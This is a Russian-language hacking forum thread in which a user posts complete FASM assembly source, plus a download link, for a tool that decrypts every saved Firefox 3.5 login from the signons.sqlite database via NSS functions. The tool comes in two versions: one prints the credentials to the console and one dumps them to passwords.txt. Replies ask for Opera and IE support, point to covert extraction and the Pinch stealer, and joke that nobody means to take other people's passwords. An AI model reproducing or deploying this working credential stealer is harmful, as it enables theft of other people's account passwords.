ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[ASM] Firefox 3.5 Passwords Recovery
  #1  
Старый 06.12.2009, 22:47
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию [ASM] Firefox 3.5 Passwords Recovery

Firefox 3.5 Passwords Recovery

Привет всем. Вот решил выложить, может кому и пригодится

Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.

Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb Тестировалось на Windows XP (x86).

По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
Код:
format PE
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
  pathWord			db 'Path', 0
  keyPath			db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

  libNSS			db 'nss3.dll', 0
  libSQLite			db 'sqlite3.dll', 0

  nNSS_Init			db 'NSS_Init', 0
  nPK11_GetInternalKeySlot	db 'PK11_GetInternalKeySlot', 0
  nPK11_Authenticate		db 'PK11_Authenticate', 0
  nNSSBase64_DecodeBuffer	db 'NSSBase64_DecodeBuffer', 0
  nPK11SDR_Decrypt		db 'PK11SDR_Decrypt', 0
  nPK11_FreeSlot		db 'PK11_FreeSlot', 0
  nNSS_Shutdown 		db 'NSS_Shutdown', 0
  nsqlite3_open 		db 'sqlite3_open', 0
  nsqlite3_exec 		db 'sqlite3_exec', 0
  nsqlite3_close		db 'sqlite3_close', 0

  iniPathMask			db '%s\Mozilla\Firefox\profiles.ini', 0
  profileNameMask		db 'Profile%d', 0
  profilePathMask		db '%s\Mozilla\Firefox\%s', 0

  dbName			db 'signons.sqlite', 0
  sqlCommand			db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

  outputMask			db 'Host: %s', 0Dh, 0Ah,\
				   'Username: %s', 0Dh, 0Ah,\
				   'Password: %s', 0Dh, 0Ah,\
				   '==================================================', 0Dh, 0Ah, 0

  profileName			rb 10							; Имя профля (Profile0, Profile1, etc.)
  profilePathPart		rb 30						  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
  username			rb USERNAME_MAX_LENGTH				  ; Имя пользователя
  password			rb PASSWORD_MAX_LENGTH				  ; Пароль
  temp				rb 256						  ; Временная переменная для расшифровки
  profilePath			rb 256						  ; Полный путь до профиля
  appDataPath			rb 256						  ; Путь до директории APP_DATA
  iniPath			rb 256						  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
  firefoxPath			rb 256						  ; Путь до директории с установленным Firefox
  outputBuffer			rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

  hDB				dd ?	     ; Дескриптор БД
  hOutput			dd ?	     ; Дескриптор консоли
  writed			dd ?	     ; Количество записанных данных на консоль
  hKey				dd ?	     ; Дескриптор ключа реестра
  hNSS				dd ?	     ; Дескриптор модуля NSS
  hSQLite			dd ?	     ; Дескриптор модуля SQLite

  NSS_Init			dd ?	     ;
  PK11_GetInternalKeySlot	dd ?	     ;
  PK11_Authenticate		dd ?	     ;
  NSSBase64_DecodeBuffer	dd ?	     ;
  PK11SDR_Decrypt		dd ?	     ; Дескрипторы функций
  PK11_FreeSlot 		dd ?	     ;
  NSS_Shutdown			dd ?	     ;
  sqlite3_open			dd ?	     ;
  sqlite3_exec			dd ?	     ;
  sqlite3_close 		dd ?	     ;

  cbData			dd ?

  hKeySlot			dd ?
    struct PSECItem
    SECItemType dd ?
    SECItemData dd ?
    SECItemLen	dd ?
  ends

  eSECItem	PSECItem
  dSECItem	PSECItem

section '.code' code readable executable
  main:
	invoke	GetStdHandle, STD_OUTPUT_HANDLE 				; Получаем дескриптор консоли
	mov	[hOutput],eax							; И записываем его в hOutput

	invoke	RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey	; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
	cmp	eax, 2								; Если такого ключа нет (Firefox не установлен), то выходим
	je	.close								;

	mov	[cbData], 256							;
	invoke	RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData	; Считываем значение поля Path (путь до директории с установленным Firefox)
	cmp	eax, 2								; Если такого нет (мало ли), то выходим
	je	.close								;
	invoke	RegCloseKey, [hKey]						; Закрываем Ключ

	invoke	SetCurrentDirectory, firefoxPath				; Устанавливаем текущей директорией директорию с Firefox
	cmp	eax, 0								;
	je	.close								;

	invoke	LoadLibrary, libNSS						;
	cmp	eax, 0								;
	je	.close								;
	mov	[hNSS], eax							;
										;
	invoke	GetProcAddress, [hNSS], nNSS_Init				;
	mov	[NSS_Init], eax 						;
	invoke	GetProcAddress, [hNSS], nPK11_GetInternalKeySlot		;
	mov	[PK11_GetInternalKeySlot], eax					;
	invoke	GetProcAddress, [hNSS], nPK11_Authenticate			;
	mov	[PK11_Authenticate], eax					;
	invoke	GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer 		;
	mov	[NSSBase64_DecodeBuffer], eax					;
	invoke	GetProcAddress, [hNSS], nPK11SDR_Decrypt			;
	mov	[PK11SDR_Decrypt], eax						; Загружаем необходимые библиотеки:
	invoke	GetProcAddress, [hNSS], nPK11_FreeSlot				; NSS3 и SQLite3 и получаем адреса
	mov	[PK11_FreeSlot], eax						; необходимых функций
	invoke	GetProcAddress, [hNSS], nNSS_Shutdown				;
	mov	[NSS_Shutdown], eax						;
										;
	invoke	LoadLibrary, libSQLite						;
	cmp	eax, 0								;
	je	.close								;
	mov	[hSQLite], eax							;
										;
	invoke	GetProcAddress, [hSQLite], nsqlite3_open			;
	mov	[sqlite3_open], eax						;
	invoke	GetProcAddress, [hSQLite], nsqlite3_exec			;
	mov	[sqlite3_exec], eax						;
	invoke	GetProcAddress, [hSQLite], nsqlite3_close			;
	mov	[sqlite3_close], eax						;

	invoke	SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0	; Получаем путь до директории Application Data текущего пользователяы
	cinvoke wsprintf, iniPath, iniPathMask, appDataPath			; Получаем путь до файла profiles.ini

	sub	ebx, ebx

  .proloop:												; В цикле будут обрабатываться профили
	cinvoke wsprintf, profileName, profileNameMask, ebx						; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
	invoke	GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath 	; Получаем путь до директории профиля
	cmp	eax, 0											; Ну а если такого профиля нет, то выходим
	je	.close
	cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart			; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
	invoke	SetCurrentDirectory, profilePath

	cinvoke NSS_Init, profilePath
	cinvoke PK11_GetInternalKeySlot
	mov	[hKeySlot], eax
	cinvoke PK11_Authenticate, [hKeySlot], 1, 0

	cinvoke sqlite3_open, dbName, hDB								; Открываем БД
	cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 					; Выполняем запрос
	cinvoke sqlite3_close, [hDB]									; Закрываем БД

	cinvoke PK11_FreeSlot, [hKeySlot]
	cinvoke NSS_Shutdown

	inc	ebx
	jmp	.proloop

  .close:
	invoke	ExitProcess, 0

proc CallBack c, cols, rows, headers
	push	ebx
	mov	ebx, [rows + 4]

	invoke	lstrcpyn, temp, [ebx + 4], 256					;
	invoke	lstrlen, temp							; Расшифровываем имя пользователя
	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; и помещаем в username
	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
	invoke	lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

	invoke	lstrcpyn, temp, [ebx + 8], 256					;
	invoke	lstrlen, temp							; Расшифровываем пароль и
	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; помещаем в password
	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
	invoke	lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

	cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password	; Форматируем текст по маске
	invoke	lstrlen, outputBuffer
	invoke	WriteConsole, [hOutput], outputBuffer, eax, writed, 0		; Выводим текст на консоль

	pop	ebx
	sub	eax, eax
	ret
endp

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll',\
	  user32, 'user32.dll',\
	  advapi32, 'advapi32.dll',\
	  shell32, 'shell32.dll'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
  include 'api\advapi32.inc'
  include 'api\shell32.inc'
Компилируем и запускаем через консоль и получаем множество записей вида:



UPD:

Версия с записью результатов в файл:
Код:
format PE GUI 4.0
entry main

include 'win32a.inc'

USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90

section '.data' data readable writeable
  pathWord			db 'Path', 0
  keyPath			db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0

  libNSS			db 'nss3.dll', 0
  libSQLite			db 'sqlite3.dll', 0

  outputFileName		db 'passwords.txt', 0

  nNSS_Init			db 'NSS_Init', 0
  nPK11_GetInternalKeySlot	db 'PK11_GetInternalKeySlot', 0
  nPK11_Authenticate		db 'PK11_Authenticate', 0
  nNSSBase64_DecodeBuffer	db 'NSSBase64_DecodeBuffer', 0
  nPK11SDR_Decrypt		db 'PK11SDR_Decrypt', 0
  nPK11_FreeSlot		db 'PK11_FreeSlot', 0
  nNSS_Shutdown 		db 'NSS_Shutdown', 0
  nsqlite3_open 		db 'sqlite3_open', 0
  nsqlite3_exec 		db 'sqlite3_exec', 0
  nsqlite3_close		db 'sqlite3_close', 0

  iniPathMask			db '%s\Mozilla\Firefox\profiles.ini', 0
  profileNameMask		db 'Profile%d', 0
  profilePathMask		db '%s\Mozilla\Firefox\%s', 0

  dbName			db 'signons.sqlite', 0
  sqlCommand			db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0

  outputMask			db 'Host: %s', 0Dh, 0Ah,\
				   'Username: %s', 0Dh, 0Ah,\
				   'Password: %s', 0Dh, 0Ah,\
				   '==================================================', 0Dh, 0Ah, 0

  profileName			rb 10							; Имя профля (Profile0, Profile1, etc.)
  profilePathPart		rb 30						  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
  username			rb USERNAME_MAX_LENGTH				  ; Имя пользователя
  password			rb PASSWORD_MAX_LENGTH				  ; Пароль
  temp				rb 256						  ; Временная переменная для расшифровки
  profilePath			rb 256						  ; Полный путь до профиля
  appDataPath			rb 256						  ; Путь до директории APP_DATA
  iniPath			rb 256						  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
  firefoxPath			rb 256						  ; Путь до директории с установленным Firefox
  outputBuffer			rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль

  hDB				dd ?	     ; Дескриптор БД
  writed			dd ?	     ; Количество записанных данных на консоль
  hKey				dd ?	     ; Дескриптор ключа реестра
  hNSS				dd ?	     ; Дескриптор модуля NSS
  hSQLite			dd ?	     ; Дескриптор модуля SQLite
  hFile 			dd ?	     ; Дескриптор файла

  NSS_Init			dd ?	     ;
  PK11_GetInternalKeySlot	dd ?	     ;
  PK11_Authenticate		dd ?	     ;
  NSSBase64_DecodeBuffer	dd ?	     ;
  PK11SDR_Decrypt		dd ?	     ; Дескрипторы функций
  PK11_FreeSlot 		dd ?	     ;
  NSS_Shutdown			dd ?	     ;
  sqlite3_open			dd ?	     ;
  sqlite3_exec			dd ?	     ;
  sqlite3_close 		dd ?	     ;

  cbData			dd ?
  hKeySlot			dd ?

  struct PSECItem
    SECItemType dd ?
    SECItemData dd ?
    SECItemLen	dd ?
  ends

  eSECItem	PSECItem
  dSECItem	PSECItem

section '.code' code readable executable
  main:
	invoke	CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
	mov	[hFile], eax
	mov	[hFile],eax							; И записываем его в hFile

	invoke	RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey	; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
	cmp	eax, 2								; Если такого ключа нет (Firefox не установлен), то выходим
	je	.close								;

	mov	[cbData], 256							;
	invoke	RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData	; Считываем значение поля Path (путь до директории с установленным Firefox)
	cmp	eax, 2								; Если такого нет (мало ли), то выходим
	je	.close								;
	invoke	RegCloseKey, [hKey]						; Закрываем Ключ

	invoke	SetCurrentDirectory, firefoxPath				; Устанавливаем текущей директорией директорию с Firefox
	cmp	eax, 0								;
	je	.close								;

	invoke	LoadLibrary, libNSS						;
	cmp	eax, 0								;
	je	.close								;
	mov	[hNSS], eax							;
										;
	invoke	GetProcAddress, [hNSS], nNSS_Init				;
	mov	[NSS_Init], eax 						;
	invoke	GetProcAddress, [hNSS], nPK11_GetInternalKeySlot		;
	mov	[PK11_GetInternalKeySlot], eax					;
	invoke	GetProcAddress, [hNSS], nPK11_Authenticate			;
	mov	[PK11_Authenticate], eax					;
	invoke	GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer 		;
	mov	[NSSBase64_DecodeBuffer], eax					;
	invoke	GetProcAddress, [hNSS], nPK11SDR_Decrypt			;
	mov	[PK11SDR_Decrypt], eax						; Загружаем необходимые библиотеки:
	invoke	GetProcAddress, [hNSS], nPK11_FreeSlot				; NSS3 и SQLite3 и получаем адреса
	mov	[PK11_FreeSlot], eax						; необходимых функций
	invoke	GetProcAddress, [hNSS], nNSS_Shutdown				;
	mov	[NSS_Shutdown], eax						;
										;
	invoke	LoadLibrary, libSQLite						;
	cmp	eax, 0								;
	je	.close								;
	mov	[hSQLite], eax							;
										;
	invoke	GetProcAddress, [hSQLite], nsqlite3_open			;
	mov	[sqlite3_open], eax						;
	invoke	GetProcAddress, [hSQLite], nsqlite3_exec			;
	mov	[sqlite3_exec], eax						;
	invoke	GetProcAddress, [hSQLite], nsqlite3_close			;
	mov	[sqlite3_close], eax						;

	invoke	SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0	; Получаем путь до директории Application Data текущего пользователяы
	cinvoke wsprintf, iniPath, iniPathMask, appDataPath			; Получаем путь до файла profiles.ini

	sub	ebx, ebx

  .proloop:												; В цикле будут обрабатываться профили
	cinvoke wsprintf, profileName, profileNameMask, ebx						; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
	invoke	GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath 	; Получаем путь до директории профиля
	cmp	eax, 0											; Ну а если такого профиля нет, то выходим
	je	.close
	cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart			; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
	invoke	SetCurrentDirectory, profilePath

	cinvoke NSS_Init, profilePath
	cinvoke PK11_GetInternalKeySlot
	mov	[hKeySlot], eax
	cinvoke PK11_Authenticate, [hKeySlot], 1, 0

	cinvoke sqlite3_open, dbName, hDB								; Открываем БД
	cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 					; Выполняем запрос
	cinvoke sqlite3_close, [hDB]									; Закрываем БД

	cinvoke PK11_FreeSlot, [hKeySlot]
	cinvoke NSS_Shutdown

	inc	ebx
	jmp	.proloop

  .close:
	invoke	CloseHandle, [hFile]
	invoke	ExitProcess, 0

proc CallBack c, cols, rows, headers
	push	ebx
	mov	ebx, [rows + 4]

	invoke	lstrcpyn, temp, [ebx + 4], 256					;
	invoke	lstrlen, temp							; Расшифровываем имя пользователя
	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; и помещаем в username
	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
	invoke	lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;

	invoke	lstrcpyn, temp, [ebx + 8], 256					;
	invoke	lstrlen, temp							; Расшифровываем пароль и
	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; помещаем в password
	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
	invoke	lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;

	cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password	; Форматируем текст по маске
	invoke	lstrlen, outputBuffer
	invoke	WriteFile, [hFile], outputBuffer, eax, writed, 0

	pop	ebx
	sub	eax, eax
	ret
endp

section '.idata' import data readable writeable
  library kernel32, 'kernel32.dll',\
	  user32, 'user32.dll',\
	  advapi32, 'advapi32.dll',\
	  shell32, 'shell32.dll'

  include 'api\kernel32.inc'
  include 'api\user32.inc'
  include 'api\advapi32.inc'
  include 'api\shell32.inc'
Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg

Последний раз редактировалось whexp; 07.12.2009 в 07:59..
 
Ответить с цитированием

  #2  
Старый 07.12.2009, 00:38
Аватар для =Zeus=
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Сделай лучше, чтоб в файл сохраняло.
И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.
 
Ответить с цитированием

  #3  
Старый 07.12.2009, 01:05
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

=Zeus=, без проблем
сделал версию с записью в файл, а так же залил откомпилированные версии.
 
Ответить с цитированием

  #4  
Старый 07.12.2009, 01:30
Аватар для =Zeus=
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?
 
Ответить с цитированием

  #5  
Старый 07.12.2009, 07:47
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

Пардон Вчера не заметил. Сегодня исправлю, как приду.
 
Ответить с цитированием

  #6  
Старый 07.12.2009, 08:02
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл.

ps. 2 =Zeus=, спасибо за замечания)
 
Ответить с цитированием

  #7  
Старый 07.12.2009, 13:21
Аватар для =Zeus=
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Задумайся над написанием одной программы для 3-х браузеров - Firefox, Opera и IE.
 
Ответить с цитированием

  #8  
Старый 07.12.2009, 19:34
Аватар для whexp
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

=Zeus= , зачем?
 
Ответить с цитированием

  #9  
Старый 07.12.2009, 21:07
Аватар для $Atlet$
$Atlet$
Участник форума
Регистрация: 25.10.2008
Сообщений: 215
Провел на форуме:
2483773

Репутация: 78
Отправить сообщение для $Atlet$ с помощью ICQ
По умолчанию

Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
 
Ответить с цитированием

  #10  
Старый 07.12.2009, 23:38
Аватар для =Zeus=
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Цитата:
Сообщение от whexp  
=Zeus= , зачем?
Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно
Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово!

Цитата:
Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.

Последний раз редактировалось =Zeus=; 07.12.2009 в 23:42..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Финальная версия Firefox 3.5 выйдет в конце июня ASDFire Мировые новости 4 17.06.2009 17:43
Firefox 3.5: на финишной прямой DREASTY Мировые новости 5 02.06.2009 00:24



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ